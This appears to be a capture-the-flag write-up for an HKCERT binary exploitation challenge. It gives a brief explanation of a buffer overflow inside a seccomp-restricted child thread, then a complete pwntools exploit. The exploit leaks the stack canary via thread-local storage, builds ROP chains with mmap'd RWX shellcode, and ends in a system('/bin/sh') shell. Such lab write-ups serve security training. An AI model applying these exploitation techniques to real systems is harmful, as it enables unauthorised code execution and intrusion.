Buffer overflow in echo .
ssize_t __fastcall sub_1673(void *a1)
{
return read(0, a1, 0x1000uLL);
}
it's within a child process with a separate thread, hijacking the tls (Thread-Local Storage) to leak the canary value can be considered.
Thread-Local (Using the GNU Compiler Collection (GCC))
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x20 0x00 0x00 0x00000000 A = sys_number
0006: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000066 if (A != getuid) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x0000004f if (A != getcwd) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x000000e6 if (A != clock_nanosleep) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x06 0x00 0x00 0x00000000 return KILL
The child thread permits the system calls listed above.
My approach is to use buffer overflow to overwrite the tls and leak the canary value.
At the same time, request a block of rwx memory, write the shellcode in memory to simulate the original work of the child thread, and then directly build the ROP chain for the attack.
Exploit:
from pwn import *
elf=ELF('./pwn')
# r=process('./pwn')
r=remote('c50-black-c2.hkcert24.pwnable.hk', 1337,ssl=True)
libc=ELF('./libc.so.6')
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
# pause()
r.recvuntil(b'Enter command (banner, getuid, pwd, echo, exit):')
r.sendline(b'echo')
r.recvuntil(b'[+] Waiting Child')
r.sendline(b'a' * 0xff)
r.recvuntil(b'a'*0xff)
r.recvline()
libc_addr = u64(r.recv(6).ljust(8, b'\\\\x00'))
print(hex(libc_addr))
rbp = libc_addr - 0x7f0
any_write = 0x910 + 0x10
over_canary = 0x910 + 0x28
# pause()
r.recvuntil(b'Enter command (banner, getuid, pwd, echo, exit):')
r.sendline(b'echo')
libc_base = libc_addr + 0x39c0
print(hex(libc_base))
canary = 0x196082
real_canary_addr = libc_addr + 0x1128
mmap_addr = libc_base + libc.sym['mmap']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
sleep_addr = libc_base + libc.sym['sleep']
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx = libc_base + 0x00000000000796a2
pop_rcx = libc_base + 0x000000000003d1ee
pop_rax = libc_base + 0x0000000000045eb0
pop_r8 = libc_base + 0x00000000001657f6
magic_gadget = libc_base + 0x00000000000bfc60
magic_gadget2 = libc_base + 0x00000000000bfc63
add_rdx_pop = libc_base + 0x0000000000055531
mov_r9_18_rax_10_call_rax = libc_base + 0x00000000000e72e5
pop4_ret = libc_base + 0x000000000011db7c
r.recvuntil(b'[+] Waiting Child')
payload = b'a' * 0x100
payload += flat(libc_addr, canary, rbp)
payload += flat(pop_rdi, 1, pop_rsi, real_canary_addr, pop_rdx, 8, write_addr)
# payload += flat(pop_rsi, libc_addr + 0x640, pop_rdi, libc_addr - 0x770, magic_gadget)
# payload += flat(pop_r8, 0x26, add_rdx_pop, 0, magic_gadget2)
payload += flat(pop_rdi, 0x196082000, pop_rsi, 0x1000, pop_rdx, 7, pop_rcx, 0x22, pop_r8, -1, mov_r9_18_rax_10_call_rax, 0, 0, pop4_ret, 0, mmap_addr)
payload += flat(pop_rdi, 0x5, sleep_addr)
payload += flat(pop_rdi, 0, pop_rsi, 0x196082000, pop_rdx, 0x1000, read_addr)
payload += flat(0x196082000)
payload = payload.ljust(any_write, b'\\\\x00') + flat(libc_addr - 0x1000)
payload = payload.ljust(over_canary, b'\\\\x00') + flat(canary)
r.send(payload)
r.recvuntil(b'\\\\x00')
real_canary = u64(r.recv(7).rjust(8, b'\\\\x00'))
print(hex(real_canary))
# pause()
payload = flat(b'a' * 0x108, real_canary, 0, pop_rdi, bin_sh_addr, libc_base + 0x0000000000029139, system_addr)
count = len(payload)
r.sendline(b'exit')
sleep(10)
shellcode = b''
shellcode += asm(f'mov rdi, 3')
shellcode += asm(f'mov rsi, {libc_addr}')
shellcode += asm(f'mov rdx, 0x64')
shellcode += asm(f'mov rax, {read_addr}')
shellcode += asm(f'call rax')
shellcode += asm(f'mov rdi, 6')
shellcode += asm(f'mov rsi, {0x196082000 + 0x100}')
shellcode += asm(f'mov rdx, 4')
shellcode += asm(f'mov rax, {write_addr}')
shellcode += asm(f'call rax')
shellcode += asm(f'mov rdi, 6')
shellcode += asm(f'mov rsi, {0x196082000 + 0x200}')
shellcode += asm(f'mov rdx, {count}')
shellcode += asm(f'mov rax, {write_addr}')
shellcode += asm(f'call rax')
final_payload = shellcode
final_payload = final_payload.ljust(0x100, b'\\\\x00') + p32(count)
final_payload = final_payload.ljust(0x200, b'\\\\x00') + payload
r.sendline(final_payload)
r.interactive()